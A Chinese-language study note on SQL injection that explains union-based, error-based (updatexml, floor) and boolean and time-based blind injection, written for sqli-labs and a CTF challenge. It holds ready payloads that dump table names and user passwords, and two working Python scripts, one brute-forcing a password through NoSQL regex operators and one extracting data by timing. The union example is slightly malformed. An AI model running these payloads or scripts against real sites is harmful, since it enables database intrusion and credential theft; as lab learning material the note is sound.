一、联表查询:
1.1原理:
当payload参数被后端查询语句接收到时,其中的非法语句通过union关联显示出其他的数据
1.2示例:
#payload:
-1' and union select 1,2,database()--#query:
$sql=select * from users where id='-1' and union select 1,2,database()--
'
1.3注意:
因为union查询要与前面关联的表有相同的列数,所以在查信息时应先用order by查询当前表的列数
二、报错注入:
2.1原理:
通过在一些函数(如updatexml(x,y,z))的参数中写注入语句,当数据库识别不了参数中的语句时会将其当做错误输入进行处理,同时这些语句也将被执行并将结果和报错信息一同显示出来
2.2示例:
updatexml():
?id=-1' and updatexml(1,(select concat(0x7e,database(),0x7e)),1)--+?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,32) from information_schema.tables where table_schema='security'),0x7e),1)--+?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,32) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+?id=-1' or updatexml(1,concat(0x7c,(select substring(group_concat(id,0x7e,username,0x7e,password,0x7e),1,32) from users)),1)--+
floor():
?id=-1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+?id=-1' or (select 1 from (select count(*),concat((select concat(0x7e,id,username,password,0x7e) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
2.3注意:
上面只是其中的两个,还有gtid_subset()、extructvalue()等函数也能互相代替,不过各有各的优缺点,比如:
updatexml():优点简单。缺点mysql高版本不兼容,返回的字符串最大长度为32字节,要用substring或者limit截取输出
floor():优点兼容高版本。缺点难写,需要组合(count()、rand()、group by())使用
三、盲注:
3.1布尔盲注:
3.1.1原理:
注入payload后页面只有两种显示,通过页面显示的区别来判断结果的信息
3.1.2示例(ctf-hackme脚本):
import string
import requestscharacters = string.ascii_letters + string.digits # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\\u0065\\u0071": "admin"}, "password": {"$\\u0072\\u0065\\u0067\\u0065\\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:25171/login.php"
for i in range(50):for character in characters:response = requests.post(url=url, data=(payload % (password + character)),headers={"Content-Type": "application/json; charset=UTF-8"})responseContent = response.content.decode()print(f"[+] Trying {character} with response {responseContent}")response.close()if "登录了" in responseContent:password += characterprint(f"[*] Found new character {character} with password now which is {password}")break
3.2时间盲注:
3.2.1原理:
注入payload后页面没有任何显示,利用sleep等函数来判断结果的信息
3.2.2示例(sqlilabs/less-9脚本):
import requests
import timeurl = "http://127.0.0.1/sqli-labs-master/Less-9/"
result = ""for i in range(1, 1000):low = 32high = 128while low < high:mid = (low + high) // 2#par = f"?id=1' and if((ascii(substr((select database()),{i},1))>{mid}),sleep(3),0)-- "#par = f"?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1))>{mid}),sleep(3),0)-- "#par = f"?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='users'),{i},1))>{mid}),sleep(3),0)-- "par = f"?id=1' and if((ascii(substr((select group_concat(username,password) from users),{i},1))>{mid}),sleep(3),0)-- "full_url = url + pars_time = time.time()r = requests.get(full_url)e_time = time.time()if e_time - s_time > 3:low = mid + 1else:high = midif low != 32:result += chr(low)print(f"当前数据: {result}")print("最终数据:",result)
3.3注意:
盲注针对的是网页接收到用户传参后没有回显也没有报错的情形,因为没有回显,所以联合注入和报错注入无法使用
如果页面有一些信息有迹可循的话(例如输入正确的数据和输入错误的数据页面的回显不同)可以使用布尔盲注
如果页面没有任何数据或图片的回显,那就不能使用布尔盲注只能使用时间盲注
且盲注这种方式相对上面的方式是要慢得多的,因为需要一个字符一个字符地进行判断,所以通常结合脚本使用